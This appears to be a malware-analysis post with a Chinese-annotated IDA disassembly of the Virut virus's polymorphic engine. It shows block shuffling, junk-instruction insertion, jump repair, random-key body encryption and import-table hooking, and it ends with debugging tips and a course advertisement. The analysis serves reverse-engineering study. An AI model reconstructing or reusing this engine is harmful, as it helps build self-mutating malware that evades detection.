.remote:001B3D7C loc_1B3D7C: ; CODE XREF: sub_1B37FD+57Cj
.remote:001B3D7C 01C FE 85 10 55 1B 00 inc ss:flag_find_import[ebp] ; 是否找到导入kernel的函数
.remote:001B3D82 01C 80 B5 11 55 1B 00+ xor ss:rand_flag[ebp], 1 ; 决定恢复OEP的两条指令 顺序
.remote:001B3D89 01C EB 2A jmp short loc_1B3DB5 ; 修改指令为bts
.remote:001B3D89 ; END OF FUNCTION CHUNK FOR sub_1B37FD
.remote:001B3D8B ; ---------------------------------------------------------------------------
.remote:001B3D8B EB 05 jmp short loc_1B3D92
.remote:001B3D8D ; ---------------------------------------------------------------------------
.remote:001B3D8D ; START OF FUNCTION CHUNK FOR sub_1B37FD
.remote:001B3D8D
.remote:001B3D8D loc_1B3D8D: ; CODE XREF: sub_1B37FD+508j
.remote:001B3D8D ; sub_1B37FD+515j ...
.remote:001B3D8D 01C E8 82 0E 00 00 call get_instruction_length
.remote:001B3D92
.remote:001B3D92 loc_1B3D92: ; CODE XREF: sub_1B37FD+46Bj
.remote:001B3D92 ; sub_1B37FD+47Aj ...
.remote:001B3D92 01C C6 85 E1 3D 1B 00+ mov byte ptr ss:(loc_1B3DE0+1)[ebp], 0B3h
.remote:001B3D99 01C 51 push ecx
.remote:001B3D9A 020 29 4C 24 08 sub [esp+20h+var_18], ecx
.remote:001B3D9E 020 F3 A4 rep movsb
.remote:001B3DA0 020 59 pop ecx
.remote:001B3DA1 01C EB 19 jmp short loc_1B3DBC
.remote:001B3DA3 ; ---------------------------------------------------------------------------
.remote:001B3DA3
.remote:001B3DA3 loc_1B3DA3: ; CODE XREF: sub_1B37FD+454j
.remote:001B3DA3 01C 57 push edi
.remote:001B3DA4 020 F7 1C 24 neg [esp+20h+var_20]
.remote:001B3DA7 020 E8 4A F4 FF FF call get_rabish
.remote:001B3DAC 020 59 pop ecx
.remote:001B3DAD 01C 03 CF add ecx, edi
.remote:001B3DAF 01C 29 8D D2 54 1B 00 sub ss:number_rablish[ebp], ecx ; 花指令总数减少
.remote:001B3DB5
.remote:001B3DB5 loc_1B3DB5: ; CODE XREF: sub_1B37FD+4F9j
.remote:001B3DB5 ; sub_1B37FD+58Cj
.remote:001B3DB5 01C C6 85 E1 3D 1B 00+ mov byte ptr ss:(loc_1B3DE0+1)[ebp], 0ABh ; 修改指令为bts
.remote:001B3DBC
.remote:001B3DBC loc_1B3DBC: ; CODE XREF: sub_1B37FD+5A4j
.remote:001B3DBC 01C 8B 04 24 mov eax, [esp+1Ch+var_1C]
.remote:001B3DBF 01C 66 01 8C C5 2A 17+ add ss:block.n_NumberOfOpcode[ebp+eax*8], cx ; 变形后的OPCODE数增加
.remote:001B3DC7 01C 8D 57 FF lea edx, [edi-1]
.remote:001B3DCA 01C E3 1E jecxz short loc_1B3DEA
.remote:001B3DCC 01C 2B 95 CE 54 1B 00 sub edx, ss:virut_start_in_file_off[ebp]
.remote:001B3DD2 01C 3B 95 20 1B 1B 00 cmp edx, ss:new_body_offset[ebp] ; 变形后的body在virut中的偏移
.remote:001B3DD8 01C 76 06 jbe short loc_1B3DE0
.remote:001B3DDA 01C 81 EA 34 3D 00 00 sub edx, 3D34h ; 3d34 body的大小
.remote:001B3DE0
.remote:001B3DE0 loc_1B3DE0: ; CODE XREF: sub_1B37FD+5DBj
.remote:001B3DE0 ; sub_1B37FD+5EBj
.remote:001B3DE0 ; DATA XREF: ...
.remote:001B3DE0 01C 0F B3 95 44 1A 1B+ btr ss:is_rabish[ebp], edx ; 位测试为1的则是垃圾指令
.remote:001B3DE7 01C 4A dec edx
.remote:001B3DE8 01C E2 F6 loop loc_1B3DE0
.remote:001B3DEA
.remote:001B3DEA loc_1B3DEA: ; CODE XREF: sub_1B37FD+5CDj
.remote:001B3DEA 01C 58 pop eax
.remote:001B3DEB 018 59 pop ecx
.remote:001B3DEC 014 E9 4D FE FF FF jmp loc_1B3C3E
.remote:001B3DF1 ; ---------------------------------------------------------------------------
.remote:001B3DF1
.remote:001B3DF1 loc_1B3DF1: ; CODE XREF: sub_1B37FD+43Cj
.remote:001B3DF1 ; sub_1B37FD+443j
.remote:001B3DF1 014 59 pop ecx
.remote:001B3DF2 010 F6 84 C5 2B 17 1B+ test byte ptr ss:(block.n_NumberOfOpcode+1)[ebp+eax*8], 80h
.remote:001B3DFA 010 75 0D jnz short loc_1B3E09 ; 指令块处理完了
.remote:001B3DFC 010 B0 EB mov al, 0EBh ; 看指令块 是不是以跳转指令或者ret结尾的
.remote:001B3DFE 010 AA stosb
.remote:001B3DFF 010 83 C8 FF or eax, 0FFFFFFFFh
.remote:001B3E02 010 E8 21 E4 FF FF call rand_mul ; 返回[0:eax)
.remote:001B3E07 010 92 xchg eax, edx ; 不是的话 需要用JMP 来链接乱序后的指令块
.remote:001B3E08 010 AB stosd ; 生成JMP指令
.remote:001B3E09
.remote:001B3E09 loc_1B3E09: ; CODE XREF: sub_1B37FD+5FDj
.remote:001B3E09 010 FE C9 dec cl
.remote:001B3E0B 010 0F 85 CC FD FF FF jnz loc_1B3BDD
3.修复 操作数 一方面通过reloc_jmp数组 里的描述 来修复 另一方面 还需要修复 变形后增加的那些跳转指令
.remote:001B3E11 010 8B D7 mov edx, edi ; 全部的指令块都处理完了后
.remote:001B3E13 010 2B 95 CE 54 1B 00 sub edx, ss:virut_start_in_file_off[ebp]
.remote:001B3E19 010 89 95 1C 1B 1B 00 mov ss:virut_length[ebp], edx ; 更新virut_length
.remote:001B3E1F
.remote:001B3E1F loc_1B3E1F: ; CODE XREF: sub_1B37FD+660j
.remote:001B3E1F 010 0F B7 84 29 30 1B+ movzx eax, reloc_jmp.TarOffset[ecx+ebp] ; 开始修补 JMP指令后的操作数
.remote:001B3E27 010 E8 C8 F8 FF FF call ensure_block ; 返回eax 中的值在变形后的偏移
.remote:001B3E2C 010 50 push eax
.remote:001B3E2D 014 0F B7 84 29 2E 1B+ movzx eax, reloc_jmp.NexOffset[ecx+ebp]
.remote:001B3E35 014 48 dec eax
.remote:001B3E36 014 E8 B9 F8 FF FF call ensure_block ; 返回eax 中的值在变形后的偏移
.remote:001B3E3B 014 40 inc eax
.remote:001B3E3C 014 29 04 24 sub [esp], eax
.remote:001B3E3F 014 0F B7 84 29 2C 1B+ movzx eax, word ptr reloc_jmp.o_offset[ecx+ebp]
.remote:001B3E47 014 E8 A8 F8 FF FF call ensure_block ; 返回eax 中的值在变形后的偏移
.remote:001B3E4C 014 03 85 CE 54 1B 00 add eax, ss:virut_start_in_file_off[ebp]
.remote:001B3E52 014 8F 00 pop dword ptr [eax]
.remote:001B3E54 010 83 C1 06 add ecx, 6
.remote:001B3E57 010 81 F9 E4 00 00 00 cmp ecx, 0E4h
.remote:001B3E5D 010 72 C0 jb short loc_1B3E1F ; 开始修补 JMP指令后的操作数
.remote:001B3E5F 010 8B BD CE 54 1B 00 mov edi, ss:virut_start_in_file_off[ebp]
.remote:001B3E65 010 8D B5 24 17 1B 00 lea esi, block.o_NumberOfOpcode[ebp]
.remote:001B3E6B 010 03 BD 20 1B 1B 00 add edi, ss:new_body_offset[ebp] ; 变形后的body在virut中的偏移
.remote:001B3E71 010 68 08 04 00 00 push 408h
.remote:001B3E76 014 81 C7 3C 05 00 00 add edi, 53Ch
.remote:001B3E7C 014 59 pop ecx
.remote:001B3E7D 010 F3 A4 rep movsb
.remote:001B3E7F 010 33 C9 xor ecx, ecx ; 复制block结构数组
.remote:001B3E81
.remote:001B3E81 loc_1B3E81: ; CODE XREF: sub_1B37FD+6D9j
.remote:001B3E81 010 F6 84 CD 2B 17 1B+ test byte ptr ss:(block.n_NumberOfOpcode+1)[ebp+ecx*8], 80h
.remote:001B3E89 010 75 43 jnz short loc_1B3ECE
.remote:001B3E8B 010 0F B7 94 CD 2A 17+ movzx edx, ss:block.n_NumberOfOpcode[ebp+ecx*8] ; 修补指令块间的JMP即刚刚添加的JMP指令操作数
.remote:001B3E93 010 0F B7 84 CD 28 17+ movzx eax, ss:block.n_offsetStart[ebp+ecx*8]
.remote:001B3E9B 010 81 E2 FF 7F 00 00 and edx, 7FFFh
.remote:001B3EA1 010 8D 44 02 02 lea eax, [edx+eax+2]
.remote:001B3EA5 010 0F B7 94 CD 30 17+ movzx edx, ss:next_block.n_offsetStart[ebp+ecx*8]
.remote:001B3EAD 010 2B D0 sub edx, eax
.remote:001B3EAF 010 03 85 CE 54 1B 00 add eax, ss:virut_start_in_file_off[ebp]
.remote:001B3EB5 010 83 FA 80 cmp edx, 0FFFFFF80h
.remote:001B3EB8 010 7C 0A jl short loc_1B3EC4
.remote:001B3EBA 010 83 FA 7F cmp edx, 7Fh ; 跳转的范围
.remote:001B3EBD 010 7F 05 jg short loc_1B3EC4
.remote:001B3EBF 010 88 50 FF mov [eax-1], dl ; 存放短跳转操作数
.remote:001B3EC2 010 EB 0A jmp short loc_1B3ECE
.remote:001B3EC4 ; ---------------------------------------------------------------------------
.remote:001B3EC4
.remote:001B3EC4 loc_1B3EC4: ; CODE XREF: sub_1B37FD+6BBj
.remote:001B3EC4 ; sub_1B37FD+6C0j
.remote:001B3EC4 010 83 EA 03 sub edx, 3
.remote:001B3EC7 010 C6 40 FE E9 mov byte ptr [eax-2], 0E9h ; 范围太大 修改指令为长跳转
.remote:001B3ECB 010 89 50 FF mov [eax-1], edx
.remote:001B3ECE
.remote:001B3ECE loc_1B3ECE: ; CODE XREF: sub_1B37FD+68Cj
.remote:001B3ECE ; sub_1B37FD+6C5j
.remote:001B3ECE 010 FE C1 inc cl
.remote:001B3ED0 010 3A 8D 23 17 1B 00 cmp cl, ss:number_block[ebp] ; 多态加密时 分块的个数
.remote:001B3ED6 010 72 A9 jb short loc_1B3E81
4.随机加密 body
.remote:001B3ED8 010 B8 00 00 01 00 mov eax, 10000h
.remote:001B3EDD 010 E8 46 E3 FF FF call rand_mul ; 返回[0:eax)
.remote:001B3EE2 010 52 push edx ; 随机出加密body的key
.remote:001B3EE3 014 B8 4A 00 00 00 mov eax, 4Ah
.remote:001B3EE8 014 E8 07 F8 FF FF call ensure_block ; 返回eax 中的值在变形后的偏移
.remote:001B3EED 014 03 85 CE 54 1B 00 add eax, ss:virut_start_in_file_off[ebp]
.remote:001B3EF3 014 5A pop edx
.remote:001B3EF4 010 66 89 10 mov [eax], dx ; 更新KEY
.remote:001B3EF7 010 0F B7 8D 28 17 1B+ movzx ecx, ss:block.n_offsetStart[ebp]
.remote:001B3EFE 010 8B 85 20 1B 1B 00 mov eax, ss:new_body_offset[ebp] ; 变形后的body在virut中的偏移
.remote:001B3F04 010 03 8D EE 54 1B 00 add ecx, ss:virut_start_in_section_rva[ebp]
.remote:001B3F0A 010 03 85 CE 54 1B 00 add eax, ss:virut_start_in_file_off[ebp]
.remote:001B3F10 010 89 8D 16 55 1B 00 mov ss:dword_1B5516[ebp], ecx
.remote:001B3F16 010 E8 31 D1 FF FF call decode ; 到此多态变形就结束了
说明:virut感染实际上是多种方式感染的 通过标志位来决定的 这个样本 virut是修改了 导入表的引用
call dword ptr[api] 变成了 jmp virut 附件中的样本直接运行 不会有任何现象的 因为
没有运行到virut修改的那个引用 如果要调试 直接用OD 新建EIP到01007206
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)